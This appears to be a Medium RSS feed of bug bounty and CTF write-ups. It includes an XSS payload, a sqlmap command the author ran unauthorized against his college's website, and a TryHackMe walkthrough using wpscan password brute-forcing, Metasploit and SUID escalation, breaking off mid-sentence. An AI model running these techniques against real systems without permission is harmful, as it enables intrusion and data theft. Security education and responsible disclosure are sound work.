<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Rajan Kshedal on Medium]]></title>
        <description><![CDATA[Stories by Rajan Kshedal on Medium]]></description>
        <link>https://medium.com/@noobsixt9?source=rss-6ceb36745172------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*kA-SD3ysi8DVrChy5jgEqg.jpeg</url>
            <title>Stories by Rajan Kshedal on Medium</title>
            <link>https://medium.com/@noobsixt9?source=rss-6ceb36745172------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Fri, 04 Dec 2026 15:58:46 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@noobsixt9/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[The bugs: List of weird vulnerabilities]]></title>
            <link>https://noobsixt9.medium.com/the-bugs-list-of-weird-vulnerabilities-6bc98fc5c1cc?source=rss-6ceb36745172------2</link>
            <guid isPermaLink="false">https://medium.com/p/6bc98fc5c1cc</guid>
            <category><![CDATA[writeup]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[bug-bounty-writeup]]></category>
            <category><![CDATA[bug-bounty-tips]]></category>
            <category><![CDATA[information-security]]></category>
            <dc:creator><![CDATA[Rajan Kshedal]]></dc:creator>
            <pubDate>Mon, 27 May 2024 17:42:22 GMT</pubDate>
            <atom:updated>2024-05-27T17:45:21.029Z</atom:updated>
            <content:encoded><![CDATA[<h3>The bugs: List of weird bugs</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1000/1*eqRDiwnn3UmkfcZeaLewmQ.png" /></figure><p>Hello hackers,</p><p>A bug can be described as a flaw or error in a software program or system that causes it to behave unexpectedly or not as intended by its developers.</p><p>Bugs can be of different types like technical bug, logical bugs.</p><p>Technical Bugs are those vulnerabilities that arise due to flaws in the implementation or design the of the software. Common example of it includes: <br>- Cross-Site Scripting(XSS)<br>- SQL Injection (SQLi)<br>- Local File Inclusion (LFI)<br>- Remote Code Execution (RCE)</p><p>Whereas logical bugs are those vulnerabilities that arise due to flaws in the logic or behavior of the software, rather than specific technical implementations. Example of logical bugs are:<br>- Authentication Bypass<br>- Authorization Flaws<br>- Business Logic Flaws<br>You can learn more about above mentioned bugs from portswigger and many other resources.</p><p>Now coming to the point, beside these widespread popular technical and logical vulnerabilities there are many more weird bugs that are seen wildly in real world web applications.</p><p>Many beginner bug bounty hunters gets easily demotivated, frustrated cause they could not find any technical and logical vulnerabilities, which cause negatively affect in their about to begin cyber security journey that is why<br>I am going to talk about some of those weird bugs that i came across while hunting in different VDPs and BBPs, hoping that it will help new aspiring bug bounty hunters/ security researcher like myself to find vulnerabilities and kick start their journey, also help them mentally.</p><h4><strong>Verbose error messages</strong></h4><p>I believe this bug also come into the logical. There was a cloud OS meaning it is a type of lightweight software that stores data and provides access to web-based applications from a remote server.</p><p>Lets call it <em>target.com. </em>It had very few functionalities signup, login but whatever the reason i couldn’t signup in it. I moved to login functionality I tried some default username password to see how it behaves.</p><p>i tried admin:admin and i got following response</p><pre>{&quot;status&quot;: &quot;ER&quot;,&quot;xhtmlcontext&quot;: &quot;&quot;,<br>&quot;instance&quot;: &quot;006&quot;,<br>&quot;error&quot;:<br>{&quot;errorcode&quot;: &quot;4&quot;,&quot;errornotes&quot;: &quot;invalid passwordhash&quot;,&quot;endpointhelp&quot;: &quot;https://docs.target.com/endpoint_logon&quot;,&quot;id&quot;: &quot;0&quot;}}</pre><p>invalid passwordhash huh, that’s something then i tried asdsada:admin and got following response</p><pre>{&quot;status&quot;: &quot;ER&quot;,&quot;xhtmlcontext&quot;: &quot;&quot;,<br>&quot;instance&quot;: &quot;003&quot;,<br>&quot;error&quot;:<br>{&quot;errorcode&quot;: &quot;4&quot;,&quot;errornotes&quot;: &quot;invalid logon&quot;,&quot;endpointhelp&quot;: &quot;https://docs.target.cloud/endpoint_logon&quot;,&quot;id&quot;: &quot;0&quot;}}</pre><p>There was not much in this but with this one can enumerate users, valid passwords and so on. I didn’t think it was that impactful but reading their VDP policy they mentioned “Low Level report that could have a minor impact on confidentiality of the target cloud service” So, i thought it’s worth reporting and reported. It was fixed right away And got the following response.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/548/1*t-m8qSqHOvPmqL1at-vm7A.png" /></figure><p>I reported another report mentioning improper firewall implementation and got another reward from them.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/711/1*GooGFM6MYitlkdk5ikCcmA.png" /></figure><h4>Personal Identifiable Information Disclosure Via Notifications</h4><p>It is claimed to be India’s largest storytelling platform <em>nojoto.com, </em>When i was just starting out in bug bounty hunting i added this target in my bug bounty directory but could not find anything at that time. While looking at my google drive i found out about this and decided to hunt on this.</p><p>This is kind of like tiktok where people can post short videos and all. I signed up we can signup using Oauth, indian number. I tried to signup from number and checked if there is any rate limiting mechanism implemented or not. Sadly there was a rate limiting and it was user based rate limiting meaning that it restricts access based on the user account making the request.</p><p>I tried to bypass it using different methods but no luck so i signed up using Oauth. Whenever a new account is created a default notification pops up, it’s basically a welcome notifications from the official nojoto account. I tried to look here and there on just surface level, while looking through requests and response from network developer tool, i saw an endpoint</p><pre>/api/v1/notifications.php?cid= </pre><p>while looking at the response i was amazed the information i was getting. It was everything, yes i mean it literally like everything from registered number, email, DOB, address, linked social handles, amount of money they have earned, last withdrawn and many more. I was not sure if this is for only nojoto’s offical account or for other account as well. So, i created another account A and followed my another account B, i got another notification in B. Checking response of that endpoint i was seeing everything about my account A. <br>I reported it, i was able to find this bug in less than 15 mins. They surely took their time to reply but they gave me a beautiful certificate of appreciation. I repoted one another bug in it and recieved another certificate haha.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/461/1*Tk7K9LCKh9r5zU2tk3SaeA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/461/1*8EsKlwXK8MD6hzs8OuxQKg.png" /><figcaption>certificate of appreciation from nojoto bug bounty</figcaption></figure><h3>Sensitive Information Disclosure via Directory Listing</h3><p>This is a renown university located in USA. Let’s call it <em>taget.com, </em>while looking for bugs in it, i couldn’t find anything. It was a wordpress website. <br>It had everything intact for countering security issues, proper input sanitaization, CSRF tokens, rate limits. I wanted to see if it’s origin IP has the same technology used. So, i used my shodan extension and click on the IP. <br>I was able to see all the source code of the wordpress including config files which contained DB_username and password.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/395/1*tu0_yLFcJ6773iKreomovQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/395/1*JryR5moxj9nqXK4N3bC2TA.png" /><figcaption>directory listing of soruce code</figcaption></figure><p>I reported this to the concerned authority and got the following response.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/714/1*pUu_HU4i_U0qdNsj68THZA.jpeg" /><figcaption>response</figcaption></figure><p>That’s it haha.</p><h4>Stored Cross Site Scripting</h4><p>This is not so weird but popular technical bug. Yes, you are correct. XSS requires very good knowledge of javascript to craft a payload but sometime simple payload can work like a charm as well</p><p>Lets call our target, <em>target.com. </em>It is digital learning tool developing company. It had pretty much everything but not properly configured. I created an account while creating account, i put following payload in every possible input field</p><pre>&quot;&gt;&lt;img src=x onerror=alert(&#39;xss&#39;)&gt;</pre><p>after creating account, i refreshed the main domain once again, i got login option. I clicked on it and then i got the alert box.</p><p>It was easy bug and i have already reported another bug to them but their response was not very appealing. So, i didn’t try to chain or levearge XSS. I reported it to them and they consider it as medium, for medium reports they didn’t provide any reward. I didn’t try to argue or anything because of their delay in response, just left it as it is.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/748/1*Xcv1Do0T-SSHjOz8wYsciw.png" /><figcaption>response</figcaption></figure><h4>Source Code exposed Disclosue via Exposed .git</h4><p>let’s call it <em>target.com</em> as well. Here, <strong>git extension </strong>helped me to find it. I was surfing the website and got hit in git extension. I fired up git-dumper and dumped everything from it. And got following result:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/576/1*cNI3L1kZSO_4TrLfl1mN1g.png" /><figcaption>git exposed source code</figcaption></figure><p>I reported it, but i have not got any response from them. whatever haha</p><h4>Filling up server space with unwanted emails</h4><p>While analyzing javascript source code, i got a function for submitting all the contact form data to a server, the function included base url of the server.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*p_n_msTMRDSXpSPGuFsDmw.png" /><figcaption>js function</figcaption></figure><p>I created a curl command to test if i can send the email or not.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/596/1*ODql-oYeTVcYW82Vz1cGAA.jpeg" /><figcaption>curl command</figcaption></figure><p>I got following response.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/118/1*nPdJOEhUlBGWVn1g8stLOw.jpeg" /><figcaption>response</figcaption></figure><p>I am not sure if this will be considered a valid bug or not let me know in the comments. I just want to show you that analyzing js file can help you find different bugs.</p><p>I have many more but i think this is it for today. It is already very long. I hope this blog will help you while starting your journey in bug bounty. <br>That’s all for today. Happy hacking, keep hunting ❤</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=6bc98fc5c1cc" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[My First Valid Report and Reward in BugBounty]]></title>
            <link>https://noobsixt9.medium.com/my-first-valid-report-and-reward-in-bugbounty-58b91a9909ec?source=rss-6ceb36745172------2</link>
            <guid isPermaLink="false">https://medium.com/p/58b91a9909ec</guid>
            <category><![CDATA[bugbounty-poc]]></category>
            <category><![CDATA[bug-bounty-writeup]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[bug-bounty-tips]]></category>
            <dc:creator><![CDATA[Rajan Kshedal]]></dc:creator>
            <pubDate>Thu, 29 Jun 2023 09:14:02 GMT</pubDate>
            <atom:updated>2023-06-29T09:16:25.340Z</atom:updated>
            <content:encoded><![CDATA[<p>Hello Hackers,</p><p>Been a long time since i wrote anything. Today i will write about how i got my first valid report and reward.</p><h3>Backstory</h3><p>Allow me to introduce myself briefly. I am a cybersecurity and tech enthusiast currently studying as a student. My journey in cybersecurity began with TryHackMe, where I completed more than six pathways. Additionally, I joined platforms such as Hack The Box, CTF Challenge, PicoCTF, PortSwigger, PentesterLab, and others to further enhance my skills.</p><p>Despite possessing the necessary skills and knowledge to start bug bounty hunting, I hesitated due to a lack of confidence. I constantly felt inadequate compared to the amazing hackers out there (and even now, that feeling persists). However, I eventually discovered a way to access my college’s web application. You can read about it here.</p><p><a href="https://noobsixt9.medium.com/how-i-hacked-my-college-website-2023-b6b4425335d8">How i hacked my college website 2023</a></p><p>This gave me the confident and motivation that i was lacking. After this i opened my account in hackerone and one another platform where i participated in one program. I was still not sure about it but submitted total 7 reports on single program</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/663/1*mVNisXnPFQj55SM_Yyyx6A.png" /><figcaption>Stats</figcaption></figure><p>Even though all i got was duplicate but it really cheered me up. Then i tried to do something in hackerone where i reported total 3 reports where i got one duplicate, one informative and one need additional information(still working on this one).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/886/1*j8Ebx-40alZpe9NPCkl2PQ.png" /><figcaption>Duplicate</figcaption></figure><p>I want to emphasize how incredible the PTN Community is, as it has been a source of immense knowledge, support, appreciation, and motivation for me. My senior brothers within the community have played a significant role in my growth and development. With their guidance, I truly felt that I was on the right path in my cybersecurity journey.</p><p>Moreover, I learned about the Dutch Government BBP, which not only presents researchers with opportunities to find vulnerabilities but also offers cool swag as rewards. This discovery further ignited my enthusiasm and determination to participate in bug bounty programs.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/361/1*HwOOQAFER8Wed0ozRBGuag.png" /><figcaption>Vesh Dai Handsome ko swag</figcaption></figure><p>I wanted this too so i went to the repo where all the inscope domains of Dutch government BBP was stored. After viewing the overwhelming amount of domains i was so confused which domain to pick so i went with my instinct haha i picked up one domain, did recon, nothing found, moved to another domain same thing didn’t find anything interesting, next domain nothing there too i actually forgot how many domain i tried . I am saying all of this cause i want people mostly new comers to know that Bug Bounty is not easy thing to do where you just pick one target, hack it, report it and get $$$$$ rewards. Anyway after a huge number of unsuccessful attempt to get the cool swag i finally one target where i finally found:</p><p><strong>Account Takeover Via CSRF bypass</strong></p><p>But their response to my report was this:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/505/1*rtBqUM9p44W_sjdAysKSKQ.png" /><figcaption>Response from Dutch BBP</figcaption></figure><p>I didn’t get why my they said so it was heart breaking after so many trial and error i finally thought i got something and then boom it was not considered a security issue. Then after some time i moved onto another target i submitted another report</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/460/1*o8hyJSOpRjEior4UKcKNIQ.png" /><figcaption>Response from Dutch BBP</figcaption></figure><p>Then again moved to another target i got this</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/442/1*wMQyh-Kt7yZ8voqgQX4RDQ.png" /><figcaption>Response from Dutch BBP</figcaption></figure><p>I don’t know how to describe it haha but i took it as positively as i could i kept reminding myself that i am doing good i am on the right path. Then i again moved onto another target which i got from the github repo for dutch government BBP inscope domains. And this is where our real story begins:</p><h3>Real Story</h3><p>I first visited the website that I found on the GitHub repository. It was an online platform specializing in online project websites, e-participation, and community with numerous functionalities and subdomains. It was overwhelming at first, but I continued exploring. Since I didn’t have a checklist for Bug Bounty, I simply aimed to find simple yet effective bugs that are often overlooked by professionals who consider them low-hanging fruits. (By this, I mean I tried to identify functional issues, business logic flaws, and misconfigurations, among others.) Like everyone else, I began with reconnaissance and captured all the requests in Burp Suite.</p><p>After completing the initial reconnaissance, I wasn’t sure if there were any vulnerabilities. Based on my knowledge and skills, I thought the website was quite secure. It had firewalls that seemed intact and effectively removed any suspicious user inputs. The subdomains appeared fine, there was rate limiting in place, and there were no misconfigurations. The website offered limited functionalities to visitors and didn’t require sign-ups. After considering all these factors, I felt uncertain about what to do next. I thought I had exhausted all possibilities.</p><p>Then, I decided to search for funny and suspicious API endpoints, and that’s when I stumbled upon a gem. I discovered a rather long API endpoint with numerous parameters. I selected it, sent it to repeaters, and examined the responses.</p><p>It’s response shocked me it was json response where i got personal user information.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/106/1*KnF5iBQ0STCfdiVpDuWB1g.png" /><figcaption>Small Part Of the Response</figcaption></figure><p>Upon further investigation, I discovered that all of this information was being fetched for the blog section of the website. The response I received contained personal information of the writers who authored the blogs. It included sensitive details such as usernames, email addresses, and other personal information. Shockingly, there was no authentication mechanism in place. Therefore, anyone could access this URL and retrieve the sensitive details without any restrictions.</p><p>Here comes the interesting part. Despite realizing that this was a Personal Identifiable Information disclosure (PII Disclosure) vulnerability, I didn’t have high expectations for a response from them, but I still decided to report it. To my surprise, after 2–3 days, I received an email response that said the following:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/421/1*2EV3gXA0GA40sko1fB5wIA.png" /><figcaption>Response from Dutch BBP</figcaption></figure><p>I was quite surprised by the turn of events. Even though I had obtained the domain from the same repository that listed all the in-scope domains for the Dutch Government BBP (Bug Bounty Program), I still felt compelled to report the vulnerability. It was reassuring to know that they had a Vulnerability Disclosure Program (VDP) in place.</p><p>I wrote an email detailing all the information regarding the PII Disclosure vulnerability and sent it off. To be honest, I had zero expectations and simply wanted to fulfill my responsibility by reporting it.</p><p>However, the very next day, I received an email from the Chief Security Officer of the company.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/659/1*pV4GtUwyG1MnrsvTOvTEKw.png" /><figcaption>Senior Security Officer Response</figcaption></figure><p>I read it and i was like ok whatever. And exactly after 1 month of reporting this i got another email from the same officer</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/480/1*6m2iL_WzEWE3ZmKetUy3dA.png" /><figcaption>Reward</figcaption></figure><p>I was like whatdahell? haha i didn’t believe this at first but this was true after many unsuccessful attempts i finally got a valid report even though the report and the vulnerability i found were not praise worthy but they were definitely motivating.</p><p>That’s it, folks! This was my first bug bounty write-up, and it may not have involved cool vulnerabilities like SQL injection (SQLi), cross-site scripting (XSS), or others. It was simply a plain and simple bug that ended up being rewarded.</p><p>I wanted to emphasize that bug bounty hunting is not an easy task, and many people don’t share the struggles they face on their path to success. However, I believe it’s important to showcase my journey and the actual work I put into finding and reporting vulnerabilities.</p><p>Thank you for taking the time to read my write-up. This is just the beginning, and I’m excited for more rewards to come! Remember, keep hacking, keep learning, and keep helping others. ❤</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=58b91a9909ec" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How i hacked my college website 2023]]></title>
            <link>https://noobsixt9.medium.com/how-i-hacked-my-college-website-2023-b6b4425335d8?source=rss-6ceb36745172------2</link>
            <guid isPermaLink="false">https://medium.com/p/b6b4425335d8</guid>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[bug-bounty-writeup]]></category>
            <category><![CDATA[hackthebox]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[sql-injection]]></category>
            <dc:creator><![CDATA[Rajan Kshedal]]></dc:creator>
            <pubDate>Wed, 04 Jan 2023 14:09:38 GMT</pubDate>
            <atom:updated>2023-01-04T14:15:42.148Z</atom:updated>
            <content:encoded><![CDATA[<p>Firstly Happy New Year, wonderful people!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*h3_fzw5CH9XgO6xa" /><figcaption>Happy New Year from noobsixt9</figcaption></figure><p>I want to share with you how I hacked my college’s website on the first day of 2023.<br>I recently started college and took admission examinations before that, so I was continuously visiting the website to see if the results were up or not. I was on the second rank when they posted the entrance results after some day. Yay! hahaha. I am aware that you are not here for that, so let’s move on.</p><p>I opened the results image in another tab and noticed something</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/318/1*PHJTZ0lpEbA0qvBQn8D2Og.png" /><figcaption>Entrance Result URL</figcaption></figure><p>“<strong>wp</strong>” stands for “<a href="https://en.wikipedia.org/wiki/WordPress"><strong>wordpress</strong></a>,” a <a href="https://www.techtarget.com/searchcontentmanagement/definition/content-management-system-CMS">Content Management System(CMS)</a> and I am aware that it is not very secure. Hey! i am not saying wordpress is not secure, everything on the internet is not, and wordpress sites were just recently targeted by hackers in 2022. More information on that is available <a href="https://www.dailyhostnews.com/280000-wordpress-sites-hacked-by-exploitation-of-cve-2022-3180">here</a>.<br>So I used <a href="https://www.wappalyzer.com/"><strong>wappalyzer</strong></a> to examine the version and other technologies the site was utilizing. I noticed that it is not utilizing the most recent wordpress version.</p><p>That was the thing that prompted me to use WPScan and scan the entire site. If you don’t know what WPScan is you check this blog</p><p><a href="https://noobsixt9.medium.com/web-enumeration-wpscan-f2ad5cbfd671">Web Enumeration -WPScan</a></p><p>while wpscan was performing its task I was growing increasingly inquisitive about the website. So, I performed a sub-domain enumeration using <a href="https://github.com/tomnomnom/assetfinder"><strong>assetfinder</strong></a>.</p><p>I discovered more than 50 subdomains, although not all of them were particularly intriguing. I chose two subdomains that were informative, fascinating, and directly linked to the main website. One of them used an extremely outdated and SSL certificate not enabled vulnerable version of WordPress, and the other included a particular php script to check school student’s entrance results. Now that the wpscan has completed its task, it is time to review the results.</p><p>I will summaries what i found from that scan:</p><blockquote>Upload directory has listing enabled</blockquote><blockquote>Default wp admin portal</blockquote><blockquote>Version Vulnerable to Unauthenticated Blind SSRF via DNS Rebinding</blockquote><p>This was quite a bit, so I took another subdomain and gave wpscan another chance to work its magic.</p><p>While tinkering, I came upon a form for online admission that required the upload of two files: a voucher and an image file. I remembered about the file upload vulnerability. Anyone interested in learning more about it can do so <a href="https://portswigger.net/web-security/file-upload">here</a>.</p><p>I tried to see whether there were any client-side validations by inserting a php-reverse-shell, but funny enough, it didn’t have any either. However, I refrained from uploading it since I did not request that the website be pentested and I did not want to go to jail. But this is a possible file upload vulnerability or maybe RCE via it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/358/1*c-zSYF4SNymSFAgAGTsDsg.png" /><figcaption>No validations no problem</figcaption></figure><p>Once Wpscan is done, it is time to review the results once more. I’ll restate what I learned from that outcome:</p><blockquote>WordPress version 5.4.12 identified</blockquote><blockquote>Unauthenticated Blind SSRF via DNS Rebinding</blockquote><blockquote>Authenticated Stored Cross-Site Scripting (XSS) (via Vulnerable Plugin)</blockquote><p>Damn I discovered a ton of weaknesses and vulnerabilities, but once again, I haven’t used any of them for personal advantage because I didn’t want to get caught. The only thing left to examine is the php script on a different subdomain. To determine if a student had passed or failed, it required a roll number as an input. Fine enough, but now I think about SQL Injection, I started up my Burpsuite Community Edition. Poor me, and when I put a simple <strong>’</strong> on the <strong>symbolno</strong> parameter, oh my goodness, I received an unexpected result.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/522/1*5VMkWA1w-DNn6GrFKDwkNQ.png" /><figcaption>SQL Injection ?</figcaption></figure><p>The error is saying me that it is expecting something else and i am feeding it something else.</p><p>Now that I know it is vulnerable to SQL injection, I can be even more certain by performing some manual exploitation to see if I can actually dump the database or not, but I was so curious, and I also know how manual things work, that I figured why not use an automated tool to see the results faster hehe. Then I launched sqlmap, saved the request, and entered the following command:</p><pre>                    sqlmap -r sqli.txt -p symbolno --dbs</pre><p>If I can see the databases, it follows that I can dump them as well. That’s why I only used <strong>— dbs</strong>. After some time, I received my long-awaited results, and here is proof.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/304/1*Hh85_Xkrn9jB9CpdL7u2sQ.png" /><figcaption>Databases</figcaption></figure><p>I have successfully exploited the vulnerability and proved that i can read the databases. Also a successful SQL injection exploit can read sensitive data from the database, <strong>modify database data (Insert/Update/Delete) </strong>which means i can change the status from Failed to Pass and Pass to Fail haha. So this concludes that i actually hacked my college website right?</p><p>After this i wrote an email including all of the vulnerabilities, screenshots, detailed way how an attacker can actually use these flaws and how we can fix them.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/369/1*soIvyv35Sb2uCa8kG4Z6Ww.png" /><figcaption>mail sent to responsible authority</figcaption></figure><p>This was my first bug i do not know if they will give me $$$ as reward hahaha to be honest i am not expecting anything from them i am just happy that i found my first bug and can’t wait to find more and more.</p><p>I’ll conclude this discussion right here. Once more, happy new year to all of you. May God bless you all with good health, wealth, and prosperity this year.</p><p>Keep hacking keep learning. ❤</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b6b4425335d8" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[TryHackMe Blog Room WriteUp — Beginner Room]]></title>
            <link>https://noobsixt9.medium.com/tryhackme-blog-room-writeup-beginner-room-36d75fd2bfca?source=rss-6ceb36745172------2</link>
            <guid isPermaLink="false">https://medium.com/p/36d75fd2bfca</guid>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[blog-writeup]]></category>
            <category><![CDATA[tryhackme-blog]]></category>
            <category><![CDATA[tryhackme-writeup]]></category>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <dc:creator><![CDATA[Rajan Kshedal]]></dc:creator>
            <pubDate>Wed, 09 Nov 2022 04:42:42 GMT</pubDate>
            <atom:updated>2022-11-09T04:48:38.813Z</atom:updated>
            <content:encoded><![CDATA[<h3>TryHackMe Blog Room WriteUp — Beginner Room</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/532/1*TJYavgFQ_h_h6oBeBfA-AA.png" /></figure><p>Today we are going to solve <a href="https://tryhackme.com/room/blog">tryhackme’s blog</a> room which difficulty level is medium and this room is web based so, here we will practice our web enumeration skills from previous blogs.</p><p>The first thing we have to do is add the machine ip and hostname to /etc/hosts.</p><pre>sudo nano /etc/hosts</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/354/1*E5jjsMmumnS6GBJH8Vrrcw.png" /></figure><p>After this we will do hacker 101 which is enumeration. let’s start our enumeration from nmap.</p><pre>nmap -sC -sV 10.10.202.10</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_-6CtUZKubNhfU6krnzy2w.png" /></figure><p>That’s a lots of open ports which is obviously a good thing for us. I don’t think ssh version is vulnerable. Then we see port 80 which is running apache webserver in ubuntu and the results are pretty interesting too. The webserver have wordpress CMS(Content Management System) and it’s version is 5.0. Here, we got our 2 answers:</p><p>What version of the above CMS was being used? <strong>5.0<br></strong>What CMS was Billy using? <strong>wordpress</strong></p><p>Now we know port 80 is using wordpress so we can enumerate further using wpscan.</p><pre>wpscan --url <a href="http://blog.thm/">http://blog.thm</a> --enumerate</pre><p>while it’s running let’s check another open port SMB. Let’s try to see what shared files are there for our guest user using <strong>smbmap</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wM57bZaHRQUbIuNko5wmmQ.png" /></figure><p>There are three SMB shared but we have only access to SMB shared called “BillySMB”. Now let’s recursively download everything in BillySMB with <strong>smbget</strong>.</p><pre>smbget -R smb://10.10.202.10/BillySMB</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lYJq67lGiOUKWVpizBoiJQ.png" /></figure><p>We got 3 files one is mp4, one is png and one is jpg file. Let’s see if there is anything embedded in jpg file using steghide.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/540/1*r74UEq-DxgLSAUeZKLUvzA.png" /></figure><p>And yes there is a txt file embedded. We can extract it without password let’s do that using steghide again.</p><pre>steghide extrace -sf Alice-White-Rabbit.jpg</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/494/1*K0ZEZHXAIl-tFFKaeq1b2g.png" /></figure><p>Is this supposed to be funny? Let’s check png file. It’s a qr code let’s see what is there. i am using online qr code decoder for that</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/284/1*oxLlRHWL9ePKRbYFL5s7lQ.png" /></figure><p>Let’s visit that link.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/623/1*ctYbefE5o9grRzqLqPUPNQ.png" /></figure><p>HAHA funny. Nothing here too. Let’s check our last file which is a video and that is useless too.</p><p>So, what now? umm! wait we have wpscan running. Let’s check it’s result there.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/967/1*imqZUnzWbI2M_4Ks5mKiqA.png" /></figure><p>We got loads and loads of information and most importantly we found out that wordpress version 5.0 is insecure. Let’s see if there is any CVE for this version.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/667/1*oGaeuAmxlo_WcqNpvjpwiw.png" /></figure><p>Yes sir, there is CVE for this vulnerable version of wordpress. But inorder to use this exploit we will need wordpress user and pass. For that we will again use wpscan first to enumerate users and then to bruteforce password.</p><pre>wpscan --url <a href="http://blog.thm/">http://blog.thm</a> --enumerate u</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/670/1*Fg7z7qVvuAdAF54zV76MZw.png" /></figure><p>Time to do some bruteforcing guys.</p><pre>wpscan --url <a href="http://blog.thm/">http://blog.thm</a> --passwords /usr/share/wordlists/rockyou.txt -users kwheel, bjoel</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/583/1*LmUyCAIVlegu7kQP4nTdZA.png" /></figure><p>We found valid user and password. Now time to exploit. You can use exploit from exploit-db but i am using metasploit. Been a long time since i have used that haha.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/950/1*EsmxNfNhwsFvVTE6zaUZow.png" /></figure><p>and we got the connection. let’s search for user.txt now.</p><pre>find / -type f -name user.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/913/1*CgFdAf8NwScelKScromk4g.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/584/1*DzoO3GCdafONgWm9nrB2iQ.png" /></figure><p>Funny. let’s leave privilege escalation job to linpeas. After a while, in SUID section, I found a custom SUID file <strong>checker</strong> because all the items were red and green except this one.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/584/1*A4qzxTpX-AmrA64Nc-p0kw.png" /></figure><p>I tried to directly run /usr/sbin/checker from shell but came across this error.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/584/1*WxfR--_a-z3AISgfB9AwKg.png" /></figure><p>Let’s run <a href="https://www.google.com/url?sa=t&amp;rct=j&amp;q=&amp;esrc=s&amp;source=web&amp;cd=&amp;cad=rja&amp;uact=8&amp;ved=2ahUKEwjh7un_oaD7AhVn9zgGHX2rDoEQFnoECA0QAQ&amp;url=https%3A%2F%2Fen.wikipedia.org%2Fwiki%2FLtrace&amp;usg=AOvVaw0bFJuZV2_ZPzSGcTEQZrj5"><strong>ltrace</strong></a><strong>.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/479/1*XW2Bvf5CQ2Q2lRYxmifUJQ.png" /></figure><p>The code looks for the value in <strong><em>admin</em></strong> environment variable. It’s making a call to <strong>getenv</strong> to check if an admin environment variable is declared. If admin is declared then it will set the <strong>uid</strong> to <strong>0</strong> and make a system call to spawn a shell.</p><p>Let try to export admin variable and run the checker file again.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/479/1*7YMZE86_dOjdndLXYvUZlQ.png" /></figure><p>okay ladies and gentleman we are root now and we own that system haha. Now let’s search for our 